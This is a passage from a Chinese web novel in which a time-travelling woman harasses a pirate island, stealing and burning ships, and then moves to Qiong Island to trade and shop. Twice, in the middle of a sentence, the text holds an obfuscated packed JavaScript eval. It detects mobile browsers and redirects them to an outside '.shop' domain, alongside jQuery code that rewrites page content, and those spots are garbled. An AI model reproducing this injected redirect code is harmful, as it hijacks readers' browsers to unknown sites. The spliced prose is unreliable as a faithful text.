种植箱里的蔬菜品种少、数量不多,米粮数量足够吃一年,就是肉类和豆制品因为无法存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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没一个人说会不会自家也遭殃。普通农户渔民之家,宽裕的也就是有半年的口粮罢了,银子加起来一般不超过十两,娶个媳妇彩礼也就二到五两甚至一篮鸡蛋半匹布,肉食一年吃几次都是计算好的,连媳妇闺女也是拉出去卖不出三两银的相貌,全村凑一块也榨不出多少油水,真不值得倭寇大老远跑来抢掠——有那么多集镇可以抢呢,财货多,连姑娘也更白嫩些。 将茶水倒得差不多,各种消息也听得差不多,苏茜转身离开,一点都没有引起注意。天天在露天练武、种植、钓鱼,虽说没有晒成黑炭,但肤色是真的不好看,晒斑开始出现,偶然还冒个痘痘。加上平板的身材、明显的肌肉、有力的腿脚,说她是女的都没人信…… 苏茜本人对自己的肱二头肌和腹肌是很满意的。很少有这种有大把时间锻炼的人生,不抓紧成为女超人简直不可原谅。 这是个有倭寇海盗贼寇的年代!不是还有洲岛被海盗攻占过,反抗的军民全部战死的记载吗?那就说明实际情况更糟。如果自己更强些,就不会在第一次碰到倭寇的时候下意识就逃,而应该冲上去一刀毙命,然后一个人干掉一支队伍……最后那句划掉。除了修士那一世,自己真没这个本事以一当百,除非手头几百年的热武.器和子.弹全部都好好的。 想到自己那么多的热武.器收藏大都成了金属垃圾,心痛得喘不过气。 最后苏茜还是随着大群平民去“观赏”处死贼寇。 人太多了,即使砍脑袋的是在土台上仍然什么都看不到。 “来了来了!押来了!” 前面有人欢呼。 这时苏茜才知道不是自己太矮,而是压根还没开始。 锣鼓吆喝,似乎还有将领和官员讲话。但后面的人什么都听不见,而且叽叽喳喳兴奋无比地等了快一个时辰,才看见有一群士兵三人一组,一个个地押了人犯上台。。 打头的,不是。第二个,不是。 第七个和第八个,就是被自己打伤的,拖上来的时候衣服上的血迹非常明显,人也是意识不清的,搞不好已经快死了。 苏茜跟着人群一起欢呼,忍受了两个时辰的臭味终于能够散开,感觉浑身包括头皮在内都在发痒,找了机会躲回岛上直接跳进海里用淡盐水好好清洗。 顺便找点吃的。海里没有那种大量繁衍破坏环境的小型贻贝,也或许是贻贝的食物不多导致长不出来百万千万级别,整座岛周边浅海很少有大量贻贝的存在,一般一次赶海也就弄上来二三十个大小不一的。 这次苏茜逮到两只挺大的螃蟹,还从捞上来的蚌壳里找到一颗珍珠。小指指甲盖大小,莹润光泽,中等品质,没有加工和镶嵌都卖不到五十文。苏茜边弄饭菜边欣赏,最后放进收藏盒子。以前的饰品,上辈子都用酸液处理过,看起来还行,就是风格不对。唯有足金的素面戒圈耳环手镯在大部分地方都能作为交换品。还有,这里除了大店铺或当铺一般不收黄金,银是硬通货,合金币则是千差万别。一年来她的战利品里居然有三种铜钱,全部清洗后收藏。兴许若干年后又有用到的时候,或者作为收藏品卖出溢价好购买纯银。 第四天,出岛买新鲜蔬菜及种子的同时,继续搞木箱、木板、木头、枝叶等等。自己锯木头的手艺不太行,歪歪扭扭浪费材料,做出来的种植箱还漏土,加上自己偷砍的都是不成材的树,还是要买现成的。 结果一头扎进军民抗倭的大潮。 “我的箭不行,需要箭。” “需要弓吗?” “如果有弓最好不过。” “还有一把。” 苏茜的身份是山民后裔佃农兼猎户,领了弓箭还有一只小锣就去军队弓箭手们点头同意的岗哨方向。斥候人数严重不足,普通平民逃都来不及不要说反抗,她这样有点本事还乐意去比较危险地方的人是很缺的。 几个士兵和一个分配军械的百户沉默地看着那个显得瘦弱佝偻的背影。 “蒋百户,给他那么多箭行吗?”五十支箭,加上弓,那小子再结实也背得够呛吧。 “能连射三箭,虽非百步穿杨,可准头相当不错了。”他们整支九百来人的队伍,这种水准的弓箭手也不超过五十个,根本不可能浪费在岗哨的位置。 “不知道他能不能回来。”好手好脚,没死没残的那种回来。 “他只带了五六顿的干饼。”这种天气,吃食放到第三天都变质了,吃下去会腹泻,运气太差会玩完的。 “……那些匪人会来吗?” “说是看到好几条大船。就是不知道多少人,攻哪些地方。”上次就几百人,几乎全灭。但审讯的结果非常不好,因为他们甚至只是先遣,本来想潜伏的,结果一时贪心,打下个镇子也太容易,所以才被军民提前拿下。 “唉……”这位百户上任才两年,也不知道能做几年。前一任百户的父亲病死后,正打算跟当地富户结亲,结果才二十岁就战死又没有继承人……不想了,他自己也不知道还能活多久。 29.疍民没饭吃(三) 斥候、岗哨和狙击手各不相同。 苏茜一开始以为自己是狙击手,结果风餐露宿还差点成为蚊子血包之后才了悟:原来这个临时职位比放哨的都不如!因为如果自己这个方向没有敌人经过就啥事没有。 点燃一炉驱虫驱蚊香,再用望远镜张望十五分钟,确定五公里内无人烟就回去弄点吃喝和方便。 半小时后出来,继续张望。 本来以为海上来的袭击都是夜间,结果士兵们说大部分都是白天,尤其是涨潮时登陆的最多,夜间基本不可能。所以她快三十小时没有睡超过一小时!换班的人说是明天下午到。还有二十小时甚至更长时间呢! 打个呵欠,闭一会儿眼,再用望远镜张望。 嗯? 就在天色渐暗的光线里,她看到了什么?!几十条小船! 那个百户说什么来着?个别探子就射杀,大批敌人就跑回来报信。是啊,她五十支箭,这可是二三十米射程的木头弓箭,一个对五个是顶天了! 她确定了两分钟,有超过三十个奇怪装束、带着冷兵器的家伙登陆,于是将弓箭和望远镜都扔回岛上,然后一路跑回五公里外的驻地。 快到的时候,苏茜轻敲小锣。声音不算大,但村民和岗哨一听就立刻警觉起来。 “有匪人上岸!”她边跑边对只穿着褂子中裤追来问情况的平民道,“快躲起来。” 然后又敲了两下锣。 临时军营这个时间起码有一半人是武.器在手边的状态。 “什么事?!”两个士兵冲过来问。 “我看到,几十条小船,船上人,带兵器,衣服乱七八糟,在登岸。”苏茜边喘气边大声道。 很快,全营的人都整装准备出发,有的嘴里还在努力嚼着。 “我就在这,我能打,要先喝点粥水。”细细说明方位后,苏茜摆手表示自己不怕打架,但是又累又渴又饿,而且之前领的军械都扔下了,因为背了重物跑不快。 “你是平民,往后面去吧。”一名满脸沟壑,其实可能不超过四十岁的士兵拍拍她的肩膀。啧,那么瘦,也就是对付一两个瑶民的小体格,冲在前面那就是碍事。 苏茜也知道自己的底,现在是团体战,就看哪一方人多气势强,个人没什么发挥的余地。不过,让她躲在后方跟逃跑的平民挤在一起也不甘心。 “我还是找个可以打埋伏的地方吧。放冷箭才是我能做的。”她将已经冷掉的薄粥和干饼全部塞进胃里,抹了嘴,死缠烂打地又弄了弓和二十支箭,到处找隐蔽处。 林子早就砍光了,房子被糟蹋了不少,她边走边找,走了一公里多,“终于”遭遇到了混战。 见鬼,放冷箭真不是简单的事。 自己手上刚到手的弓很不好用,之前到手的稍微好些,箭倒是不错。所以她直接换上伦敦买的“古典”长弓,可能这个时代那边也用这样的冷兵器?弓弦质量还不错,经过这些年仍然能用,就是特别费人。 她在废墟掩体后弯弓搭箭,直接让一个正在大喊大叫、穿得还算不错的家伙失了声。她原本想射对方胸膛的,结果成了嘴巴……反正效果一样哈! 下一箭是另一个家伙的肩膀。 接着就有人冲着自己的方向摸来了。 苏茜最后一箭正中那人,腰子?反正比擦破皮的伤要严重些!然后拔腿就跑。 脚上特意换上的新草鞋没什么声音,现在又是晚上,没啥月光和星光,火把又照不到。所以她跑出去快一公里,似乎没人追了? 反正她抬脚就回了岛上。 今天累死了,吃个一直温着的小红薯,甜美的滋味让人心情都变好了。再喝口凉白开,洗掉衣服、冲个凉水,躺下睡觉!半长穷人式头发湿漉漉的也不管。 岛上的夏夜没有蚊虫也不会很热,很好地冲淡了贫瘠土地带来的遗憾。在没有电更没有静音空调的地方,外头摄氏三十度的蚊叮夜晚很难熬。 不对!她突然想起来,崖州那里的夏天夜晚没有空调更难熬,所以,其实不管在哪,都有不太舒适的季节是吧。另外,没有冬季,肉类确实是个大问题呢。要不还是锻炼海上捕鱼技能,以后常住海上?因为陆地上自己也买不了房子土地,只能自己搭棚子或是租住什么房子。 想了会儿,倒头继续睡。 修炼种菜做饭一天,苏茜换个装束出岛,采购食材顺便打听前天的战况。 打得还是比较激烈的,但是赢了。平民死伤不多。 后天统一行刑,十里八乡简直将围观砍脑袋当成盛大节日。 苏茜差点翻白眼,然后默默地继续到处跑,直到买齐了能找到的所有钓鱼捕鱼网鱼叉鱼和装鱼吃蟹装备——直接买空存货和修补材料、磨刀石磨剪石的那种买法——甚至还买了条半旧的带蓬单桅小帆船,这种式样是定做的,因为非常不实用还很贵,卖家见到她一个人半生不熟地驾船往外海去,眼珠子差点瞪出来:买主是想自尽的人吧?怎么不把财产都送给自己这个可怜的穷人呢! 苏茜没理会内心戏很多的卖家。从地貌判断出大概的方位,这边距离崖州挺远的。 船划出去后她就开始渡海。 现在的半岛,除了山林多、可以砍的树多,路非常不好走。全部是山路不提,如果自己没记错的话,民族也不少!尽管目前碰到的各族对外来的汉人还算礼貌克制,但在他们的聚居地盘就很难说了。何况现在可没有沿海景观公路,更没有高速路。 所以还是得走水路。 于是她或者说慢慢往南挪步。 没有航海图——有也看不懂——没有卫星导航,没有燃油引擎,没有抗台风能力,单人小帆船能平安渡海是个笑话,哦,这个时代和这个地点可能不是台风活跃期,或者运气足够好,反正苏茜这几年都没有碰到台风登陆的事情,当然也可能是自己正好错过,因为时不时有大风大雨天气,地势低的地方甚至小城镇积水可以到膝盖,听说最严重的时候得在街道上划船。 非暴风雨的天气每天扬风帆加划桨艰难前行,十天后苏茜才看到一个较大岛的轮廓。这一路上经过两处无人小岛,这是第三个,明显面积很大。难道是琼岛的外围岛屿?自己有那么大的本事每天划船若干海里? 自己可没本事通过星空分辨具体方位,全靠指南针。但是,感觉路程不对啊? 她认准了方向,收船回岛上直接让帆船搁浅在泥地上,然后夜里换手划小船,还顺便钓个鱼,可惜一条没钓到,用渔网也只有一点点小虾——没有海鸟“指引”更没有水底雷达,捕鱼纯粹凭经验和运气。连续两晚的划船,苏茜自觉臂力又上了一个台阶,然后终于在凌晨踏上光秃秃的海边礁石区。 经过两天对自己的驾船能力进行评估后,苏茜确定这里不是琼岛外围,可能是自己的方向有错误! 然后,苏茜就瞪着远处像是潟湖区域里停泊着的明显式样不对劲的船,或者说是艇,那有些奇怪的船尾她有些眼熟。嗯,不久之前自己通过望远镜看到过相似的艇,在一堆小船后方准备登陆……所以,这里被海盗还是倭寇或是海寇的盘踞了? * * * 清晨,海边干活的人看起来颇为正常,渔民短打,样式与陆地渔村有点区别,面貌没啥独特的,就是年龄全部是青壮,跟正常渔村男女老少皆有的情况不同。还有,他们不止是修理渔船、少数还出海捕鱼,有些人在练习船上对战——不是正规军的打法,气质也不是民间庄勇。 此时苏茜才确定,这批人是“敌人”,是海寇,不仅对付正常商船,还有可能上岸劫掠的那种。 自己该怎么办? 好歹参与过军事行动,苏茜开始利用自己小岛的优势“探索”这个岛。也许自己曾来过这个岛,但那是几百年后的旅游景区。可现在别说商业配套了,连小命都要谨慎保护。 险险避过几个扛着东西有说有笑的人。苏茜想着对方的方言,有点陆地的影子,又不一样,与自己所知的南方各个方言比对不出来。有些词她听不懂,有些能懂,讲的是风暴刚过去最近不会来新的,还有谁谁差点没回得来。但没有提及任何陆地的事,或者说即使提了她没听懂。当然他们说的不是日文,也不像是越文泰文印文,亦或者说他们的方言融入了其他语系,变得更加难懂。 倭寇组成复杂,但距离陆地如此近的岛屿有这样一批人就不是好事了,尤其是远处几个武士的发型很好认。所以,苏茜真的纠结要不要当个孤胆英雄。 将人全部干掉是不可能的,尤其是冷兵器时代,哪怕拥有满舱的热.武.器也是办不到的。不过她打算将停泊的船只都“笑纳”了,这算是“重创”的一种吧? 是吧! 整个岛的海岸线可不短,得有几十公里还有大量没法走的地段,手划小船加走路能够三四晚上查探完毕。没有人造港湾,船只都在海岸,能登陆的小船也在小河口。苏茜将每个小水道都走过,确定没有可以停船的河流。 可就在她边“享受”温暖湿润的海岛秋夜,边在无星月光的黑暗思考收船路线时,风力又加大。她的船晃动幅度加大,不熟悉水的人能颠簸地晕船呕吐。 苏茜当机立断立刻划去计划的第一站,收船回岛,先弄点吃喝,方便一下,然后换上捞珠的所谓鱼皮装,跑到自己海滩,下水后出岛,游到现世的船的底部。 岛上不进活物,所以如果里面没有人,就能将船“拿”走。她脚下踩着水,双手摸着木头船帮,将这个比集装箱大不少的东西带回岛。 船只吃水挺深的,一回岛就搁浅。 搁浅就搁浅吧,自己一个人无法驾驭这样的大船,也就是拿走船上物品,其他的当柴烧。 简单安顿好第一个大型战利品,转向下一艘。 收不动,船上有活人。 再下一艘,收走了。 因为估算错误,新的船将前一艘撞伤了。 这次苏茜学乖,离得稍微远点,确定船锚是放下状态再回现世。 一晚上的功夫,一共收了大小七艘船,相隔两公里多的水面。苏茜即使体能锻炼得不错,此时也累坏了。最关键的是附近有一艘船上有人大声说话,所以她直接回去,喝下准备好的红糖姜汤。 第二天上午,还没清醒,要命的是第二次例假来了。 这个身体体质糟糕,例假严重迟缓不说,这次简直接近血崩。要不是囤了十几箱子的棉花原料和手纸等,还提前自制了一批备用卫生用品,情况会更糟。 好在痛经不严重,再一杯红糖姜枣茶和一小锅菜干鱼片粥,身体状况稍微好了一点。 老实点养身体兼修炼。 每天多喝一碗一位药铺老人推荐的“昂贵药材”益母草枸杞茶。考虑到交通运输成本,在她眼里非常寻常的东西确实属于昂贵的范畴。 现在的问题来了,是为了气候去琼岛,还是为了生活方便去比较繁华的地方?但没有身份、文引等,有时进城是麻烦事。想来想去,觉得还是随心吧,想去哪去哪不是挺好?! 之前为了渡海,买了不少熏制、腌制食物,还试着用木炭炉将捕到的鱼、开水焯过的叶菜和海带烘干。在岛上气候潮湿的条件下,鱼干菜干海带干的存放时间肯定要比干燥地区短,但到底短多少未知。 第三天,先去战利品船上找收获。 七艘船上的东西不算很多。十来件短.刀.匕.首,一堆备用衣物,腌菜清水和旧水桶,可能变质了的干粮,几捧散落的铜钱。没有火器、没有银两、没有药物,连棉被都是旧的。 苏茜垂头丧气地带着寥寥收获回去用烤炉做鱼干菜干饭, 过了不方便、不能浸冷水的日子,苏茜继续回现世找敌人的不痛快。这些船本身是最大的战利品,可惜在她这里只有用力推回海里当垃圾的下场。 …… 第十天半夜,苏茜悄悄从海里冒头。这片海域一条船也没有,她不得不换上衣服,带了自己的小船沿着海岸线继续找。凌晨时,看到五艘大船和小船若干,她慢慢靠近,用之前得来的经验从小船开始,将无人的十几条小船都收走,然后是大船。只有一条没有人,同样收走! 然后立刻转移阵地,在天边泛起蓝黑色光线的时候回去。 睡了一觉,吃点东西后,整理战利品。 大船是放在海里的,这次意外地找到不少日用品,从蜡烛油灯锅碗瓢盆到棉衣棉鞋棉被棉垫,有不少空大箱子,以及一个小布包的银锭。苏茜挑挑拣拣了两大箱子,用绳子吊下来放到自己的小船上,再爬回大船捞起船锚,任其飘走。 其他东西就和船一起当垃圾扔了。苏茜并不去考虑这些东西会不会对小岛所在的物理世界有什么影响。这么久小岛都没有变化更没有活物,就很说明问题了不是吗?在不柯学的世界讲柯学,太扯。 最多可以坐七八人的小船都是放在泥地上搁浅。 小船上除了多几条船桨,几乎没有物资。可小船和桨就是物资啊,苏茜一点不介意多些储备的。 大船上的小型淡水桶大部分都保留下来,推回住处还是比较麻烦的,但其用处很多,接雨水、过滤、养鱼、洗头擦澡、浸洗衣服都用得上 此外就是几张大渔网。渔网很大、网眼不大,可以探到海面下好几米。这么大的网是需要技巧的,所以她带了新得的渔网出海,在近海捞鱼,居然弄上来不少海鱼,还有个头不小的虾和蟹,虾蟹先煮了吃,其他的鱼做成鱼干可以吃个十几顿。 大部分收获放进海水水桶里,用推车带回去,不能养的就立刻煮掉,包括一只死了就亏大发的大螃蟹。蟹钳还在张牙舞爪,之前就差点将渔网也弄破,被她及时倒在船舱板上。她看过别人修渔网,但是自己没动手修过,所以能保护就得认真保护。 吃完直接用海水煮的没多少肉的蟹,以及蘸点醋味道十分不错的肉质饱满的虾,苏茜先睡一觉,天彻底黑了再出去。 没有钟表不知道时间,反正四周无人、无船,就是太过风平浪静。继续沿着海岸线划过去,前方有船,有灯火。 她回岛睡了会,凌晨时分出来,只剩两点光亮。她稍微靠近些,回去安顿好小船,小火煮着姜汤,就换了衣服游过去。 两大两中三艘船,三艘有人,一艘大船无人。收走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057355|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>船上有货! 或者说,这艘船应该是打劫来的,血迹未干,有股子挥之不去的腥臭,难怪无人值守。大部分货应该已经搬走,另一部分还留着,现在全便宜她了。 有瓷器和茶叶,还有很多日用品包括一些可那是样品的染色棉布料。没有丝绸,更没有金银,现在海盗们先将最值钱的拿走了。苏茜突然就恶向胆边生:自己这种收战利品的行为,会不会还助长了这些人打劫抢掠的“士气”?不行!既然那么多船只收不走也用不了,就不要留了! 睡到下午,她在岛上准备好火折——这玩意存放时间有限但真的很有智慧——引火材料,灯油,线膛铳,锥子、锤子和细剑等,带上两柄匕.首,凭借这两年锻炼出来的臂力和攀岩技术,爬上有人的大船,根据之前清理船只的经验,期间为了躲人回了两次岛。 光着脚潜入船舱部分,浇上油,再点燃易燃物品。离开的路上碰到有个打盹的,直接一剑割断气管。然后找个对面无船的地方跳下水游走。 在游出五六百米的时候,那艘船可以从外部用肉眼看到起了大火,有人奔跑喊叫,其他船的人醒过来想帮忙,但没有好的汲水灭火工具是不可能灭掉火上浇油的火灾的。 苏茜咯咯笑着回岛,吃喝休息。天黑后回来一看,这片海岸只有一条小船还睡了人,放过。 继续绕行,这晚收了一艘,烧了一艘。凿沉船是不可能的,好几个厚实的水密舱都要破开,动静大还特别费力——没有充电电钻,很多事情都做不了。 …… 在岛上修养了几天,一个凌晨,苏茜已经回到最开始也是收获最大的那片区域。每艘大船居然都有人打着火把巡逻,可小船一个人也没有哦! 所以苏茜高高兴兴地将自己能用也能卖的小船全部收走,然后上岸。 这个岛肯定是比琼岛小无数倍,但面积也足够她走十几个晚上摸清楚情况。有岗哨巡逻就说明重要,尤其是现在有“不明人士”瞄准他们的船,全岛应该处于警戒的状态。 只是警戒的时间太久的话人会疲惫倦怠。 兵械、金银、货物,这些仓库肯定是重要的甚至是地下,但也有看守不那么严的地方。 比如说放腌制菜坛子和少量熏鱼熏肉之类的仓库,还有堆柴薪木的大柴房,放修船补网工具之类的房子。 在岛上的一部分高层砍伐不多的树木生火抗寒、其他人衣着有些单薄地挨冻时,苏茜看准了一晚上将这几个仓库都清空,几具尸.体扔到自己的海里,并且浇了油再点燃仓库里剩下的易燃物。 直接就近回岛。一是要看看自己的“战绩”,二是这些地方应该不是未来海寇们巡逻的重点。 新一轮扰敌开始。 自家岛上种的菜不少,但收获着实不多。苏茜冒冷去割海带和收集其他种类海藻,才勉强熬到春天。岛上的海寇自然没走。但他们的境况很糟糕。 苏茜的打劫无规律可循,即使安排了人,太少的话很可能就此消失、生不见人死不见尸,或者连船一起消失或者烧死。安排有战斗力的人不停巡逻,又会半个月静悄悄什么动静都没有,但严重影响休息。 最好的法子是入夜后船离开到海上,而岸上所有人都巡逻值夜——因为苏茜是真的会凌晨摸进海寇住处让人消失、只留少量血迹让人恐慌的,而且她能源抢一堆垃圾也要将对方的物资都弄光!这些专职劫掠的青壮年甚至生活在岛上的老少女性没有一个是无辜的,那么随便怎样下手都无所谓。 只要不是一堆人抱着武.器不错眼地盯着,她就将能搬走的东西包括建材和水缸水桶水盆在内统统拿光! 期间这帮海寇的后方来过两拨增援,由于“缺乏经验”且运气奇差,其中一艘物资船大概四成货成了苏茜的财产。 可惜现银依旧不多,全部加起来也就几公斤,相当不划算,完全对不起她这大半年的辛苦付出!饮食不调、作息颠倒、轻伤着凉等等问题让苏茜下手更加狠辣无忌,彻底无视她的对手是足足上千号海盗。 最后居然有一天,一艘旗舰级海船带着十几艘大船靠岸。 苏茜在冒头的时候差点被那船队吓到。众多护卫船中间的旗舰啊!一个人,没有炮,怎么搞?她远远的用望远镜观察。 撞击? 火船? 前者一个人无法驾驶大船,后者问题就在于时机状态的把握。她试验了十几次小岛的进出规则,结论是自己的大部分在水面上那就能保证船底以上的干燥;如果一半在水面上那么火肯定会熄灭。而如果要小船出现后再点燃,在没有助燃剂的情况下不可能在不引起注意的情况下让弄出火船。 她演练了好几天,最终选了个风不大日落时分,游到位置有所变化的旗舰船边,小心翼翼做了攀岩个支撑点,然后回去自己的海边准备两艘火船,等船大半着火后冒着烧伤的风险带去大船边。夜半,两艘着火的小船在偌大的旗舰边根本显不出船形。苏茜又靠着通气管子和小岛艰难潜游。因此船上的人一开始还以为是哪个船底舱室起火,一部分人下到舱底,一部分人去拿水桶工具。 等船上的护卫发现是火船打算找出来哪个搞破坏的家伙时,苏茜已经到了百米外回岛上休息。呛水、烟尘、烧灼、疲劳,虽然没有什么伤,但够呛。她躺了几个小时才恢复力气。 吃喝点东西,继续睡。 等晚上,在海水里冒出头观察下。 旗舰烧出一个大洞,还有些倾斜。没完全烧毁,但也不能开了。 周围围满船只。 嗯,船! 苏茜冷笑了下,游过去,收走了十条无人小船和一艘大些的艇。 这艘艇有意思!不大,有帆,有桨。桨可以多人也可以单人双桨。风帆很新的样子,操作起来挺轻巧,船锚明显也是新的。可以说是苏茜见过最好的小海船。 她直接用这个小船出自家海,找个之前没来过的地盘打鱼,再利用风力绕岛大半圈拖了大渔网回来。大小鱼虾蟹有几十公斤。 真是让人愉快的烦恼啊!她一边做熏鱼肉海带和烤鱼干虾干,一边用两只锅煮两只大螃蟹。 螃蟹没啥肉,煮蔬菜蟹肉粥吧。她看了看情况不是很好的种植箱,想着自己一个人干了那么多事,也该结束了。 修整两天后,她再去看那片海岸……没船了! 她一时气不过,又跑到岛上。岛上人手充足,可也不可能在每个地方都安排大批人手每晚紧盯。所以苏茜最后一次毫不客气地将所有能带走的东西都带走了,别说粮油肉菜贵金属和珍珠丝绸兵器,连粗布和陶罐铁锅都带走,走的时候还顺走一艘不大不小的帆船。 等她清理完了战利品,在食物腐坏前全部吃掉或腌制或熏制都处理完,岛上也有些乱套了。岛上可能认为是被岸上派来的斥候小队盯上,派人离开岛到四处搜寻这支队伍的“藏身处”,有些是往陆地去打探,有些回老巢。 苏茜可没本事拦截,她不可能在大白天一打二十。 干脆施展上计,走!她修改了生物钟,傍晚后驾小帆船向正南方偏东。 因为风帆方向问题,必须自己划船。 30.疍民没饭吃(四) 快两个月后,船,触礁了! 因为速度慢,船没坏。但头一回触礁的感觉真心奇怪。 在没有导航的情况下,她谨慎地收起船上岸。现在是初秋,天蒙蒙亮的时候,温度摄氏二十八度,不下雨。 她在这片礁石区域“探索”了会儿,感觉不太对:水面好像在上涨?回去找了篓子,将见到的鱼虾蟹,包括一只还想挣扎的鱿鱼全部装进去。 已经是上午,日头渐高,水也涨起来了。苏茜这才恍然大悟:这是纯粹的礁石岛嘛!她高高兴兴拿了收获回去做饭。 她去年在岸上有收集各类野菜和蔬果以及种子,虽然去年到今年自己收获的种子不多,可增加一个人的膳食纤维和维生素等等是没什么问题的。何况战利品里还有三四十个大罐装的腌肉腌菜咸蛋、肉脯菜脯之类,更不要说山洞和地窖里都快堆不下的粮油酱料,若不是考虑到健康问题不能多吃这类食品,她甚至不需要赶海捕鱼割海藻海带就能解决吃饭问题。 换衣服鞋子,吃完饭,再泡一壶茶,洗衣洗澡,岛上的天还没黑就睡了。第二天凌晨,岛上寒气重了,方便下,喝几口凉白开,换上厚些的被子,继续睡。 吃了睡修整三天,苏茜在礁石区碰到了人类。 不是海盗倭寇海寇等任何一个品种,就是普通渔民,十岁出头的姑娘和一个中年妇人,双方保持一个不会让人警惕抢渔获的距离,之后再慢慢离远。礁石区域相当大,加上没有路,深一脚浅一脚,弄不好会崴脚甚至受伤,所以大家行走速度很慢,不到涨潮也难以发现其他人的存在。但船只还是很明显的。苏茜转了半圈,足足七条小渔船,全部是划桨的,而且多数是女性渔民。 附近肯定有村庄。 苏茜并不与人搭话,但看着那些船只离开的方向,在涨潮后换自己最满意的一条无标识双桨带蓬小船,布衣布裤布鞋的男装打扮。 她穿布鞋,衣服没有补丁,渔获才半桶,一边拿着竹茶杯喝水,一边慢悠悠在正午多云的阳光下飘着。 其他船都走了。她则躺在小棚子里的凉席上,船的方向顺着风向,所以一直有风吹过。水面之上,温度摄氏三十六,湿度九十?果然,不久后,一阵雨噼噼啪啪打在棚顶。白天,大变活船不太好,而如果大变活人很可能船会被偷走,所以她无奈地坐起来,在三十三度的船篷口用燧石生火点了小炭炉煮海鲜。不过先煮一壶加了茶叶与薄荷叶的过滤雨水。 茶煮开后换大锅,加海水。水开后将去了内脏的海鱼,不大的两只蟹和剩下的虾、螺、蛎、蚶、贝、蛏、几种长得有点奇怪的海货还有海藻全扔进锅,然后加姜、酒和几种从洲岛上“收缴”来的香料,可惜没有葱和紫苏之类。 锅没盖子,不过无所谓,她躲去上风口就不会热死。薄荷茶的茶叶属于战利品,应该是发酵岩茶,略苦,配上薄荷的清爽有种独特的口感,很适合夏季,茶水快凉的时候再上一大盘海鲜,煮的水倒进海里,炉子熄灭放回岛上——谢天谢地,没有起大风,不然炉子一翻她的船就完蛋了,即使汤水倾覆出来都够她打扫的。 在上下前后左右晃着的船上慢吞吞吃了近两个小时,边吃边将残渣扔进海。 潮水退下去的不多,有些仍然在水面以下,她没看到船只。似乎来的人都是凌晨从陆地出发,到这边收获后拿回去吃和卖掉,尤其是妇人们还要家务和纺织种菜等活计,做完大概都要天黑了。 苏茜打着呵欠收船走人。回去洗澡洗衣服睡觉。 她在这里“混了”两天就上岸了——纯属想换口味了,另外买些今年的米,再看看陈粮能不能卖掉。 “早前啊这里啊黎人苦啊……” 老太太一边手织布,一边嘀咕着。 苏茜听起来非常费劲,而且为了不听反反复复的嘀咕,两个人互相“学习”方言。最后她用九袋陈粮存货换到老太太家的民族风土织布锦存货。 “你们验,随便抓。”她将袋子里的米倒进米缸,然后收起来,再换下一袋。九袋米将米缸全部装满。 老太太全家高兴疯了,小声尖叫着没敢让邻居听到——其实最近的邻居屋子在五十步外。米袋子可不是一担装,而是差不多十五到二十五公斤的样子,要不是岛上地窖还凑合,早就不像样了。加上她回收袋子的“良好”习惯,没人认为她小船上拎出来的粮有什么问题,即使有疑惑也会自己压下去。 …… 苏茜将各种布料打包的几十斤大包裹肩扛回船上,走人。能找到这出有小水流的商业小村纯属意外。这边距离码头挺远,却处于几族交汇的地方,早年是黎兵营家属驻地,但后来兵营撤销,这个村子一下萧条,后来迁来不少岛内外的汉家渔人和樵夫、工匠家庭才稍微好些。看手上换到的存货还有几十年前的绣花布料就知道,早年这里还算宽裕。 而且,这里有些布料太小块只够包头巾,有些甚至还是“开衫”成衣,黎人少年系条腰带就穿出去——成年的就不行了,有些太短小。这家人也没想到居然有冤大头乐意用宝贵的米换这些几十年都没卖掉、都快成垃圾的玩意,连一些“珍贵”但已斑驳变色的丝织品也拿出来了。 其实苏茜很高兴这些吃不掉的陈米能派用场。何况很多衣服她可以在岛上穿。自家岛上的冬天跟外头差了十几摄氏度,所以租个房子还是自己建个房子还是住船上是个艰难的选择。 另外就是种菜的问题。 琼岛上山林供应不算多。要百年前,平地人去山里砍树,很可能脑袋被砍了。现在几族关系好了些,隔阂虽在,但买东西完全没障碍,这也是苏茜跟那老太太愉快易物交易的主因。 苏茜给自己做了黎汉女装,开始以女装出现。 山民最大的问题是口粮,平地则是燃料,盐都不愁,大家共同负担都是税和役。黎人不用服兵役,但各种税赋役以及针对他们的高价粮负担不轻。 苏茜不想女扮男装去当兵,也不想半夜被堵门收税,更不喜欢本地的蚊子。 冬季山林里居然还有蚊子! 她面无表情地在满小腿大大小小红疙瘩上抹了高价买来的药膏。 “哎呦,我们这里的姑娘咬多了就习惯了。”店主不仅高价卖掉进价没多少的药膏,还推销出去一大堆驱蚊虫草药和去年存到今年愣是没卖掉的外岛酒,乐开了花。这山外的族人就是有钱,做了七两银子的生意呢!不过看着对方身上的锦衣锦裙,不论娘家还是夫婿家肯定都有钱! 苏茜完全不知道就是因为一身“普通”漂亮的裙装,让老板娘以为是只超级大肥羊宰了——然后她就发现了,虽然双方语言交流没太大问题,但两人的衣服样式不一样,所以她被当成对头部族的人挨宰了? 气死了气死了! 她回去就换上“普通”汉装再出来,终于在买禽肉蔬菜水果和种子的时候没被宰——因为她都是等到本地其他人去买,搞清楚价格再上去的。 岛上除了本地产的比如鸡蛋和蔬果,其他都要被之前集市贵两三成,岛外品种的种子甚至贵近一半。但相对的,海外来的品种和外海渔获倒是便宜不少,比如本地产鲍鱼并不比大贻贝贵。 苏茜不想费劲潜海弄吃的,所以能买就买了。不过她没买鱼胶之类,倒是大家立等的现杀猪蹄髈连猪爪她买了一整个,连骨头带肉摊子上称有六斤,实际三公斤稍微多一点点,说明肉摊的短斤缺两严重。 还有,出了集市背后的两条尾巴是怎么回事? 苏茜有些好笑。经历了一岛的敌人,对这样的小贼提不起什么情绪了。她往没人的不适合赶海的礁石滩走,背后的人好像想在这里解决。 很好,她也希望如此。 